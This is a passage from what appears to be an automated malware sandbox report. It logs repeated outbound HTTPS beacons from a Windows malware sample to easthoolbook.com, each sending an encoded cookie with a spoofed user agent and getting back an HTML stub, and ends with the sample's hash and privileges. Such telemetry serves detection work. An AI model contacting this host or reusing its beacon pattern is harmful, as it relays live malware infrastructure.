2024-04-19 13:32:27 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49738	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:29 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:30 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:48 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:30 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49739	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:32 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:33 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:51 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:33 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49740	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:35 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:36 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:54 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:36 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49741	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:40 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:40 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:29:59 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:40 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49742	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:43 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:43 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:30:02 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:43 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49743	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:46 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:46 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:30:05 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:46 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49744	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:49 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:49 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:30:08 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:49 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49745	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:52 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:52 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:30:11 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:52 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49746	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:56 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:32:57 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:30:15 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:32:57 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49747	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:32:59 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:33:00 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:30:18 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:33:00 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Target ID:	0
Start time:	15:30:56
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe"
Imagebase:	0x140000000
File size:	3'636'736 bytes
MD5 hash:	C720C50306558112B389EF44CFF494F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
